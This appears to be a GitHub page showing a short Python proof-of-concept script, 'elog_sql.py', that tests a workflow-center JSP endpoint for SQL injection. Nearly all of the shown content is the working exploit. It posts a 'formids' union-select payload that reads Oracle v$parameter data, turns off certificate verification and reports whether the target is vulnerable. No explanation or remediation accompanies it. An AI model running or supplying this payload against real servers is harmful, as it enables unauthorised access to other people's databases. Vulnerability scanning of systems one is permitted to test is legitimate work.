-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathelog_sql.py
More file actions
19 lines (17 loc) · 750 Bytes
/
elog_sql.py
File metadata and controls
19 lines (17 loc) · 750 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests,sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 禁用安全请求警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def poc(url):
url = url + '/mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333'
headers = { 'User-Agent': "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"}
payload = "formids=11111111111)))%0a%0dunion select NULL,value from v$parameter order by (((1"
r = requests.post(url=url,data=payload,verify=False)
#print(r.text)
if "[]" in r.text:
print("No vul")
else:
print("yep,you discover the vul")
if __name__ == '__main__':
url = sys.argv[1]
poc(url)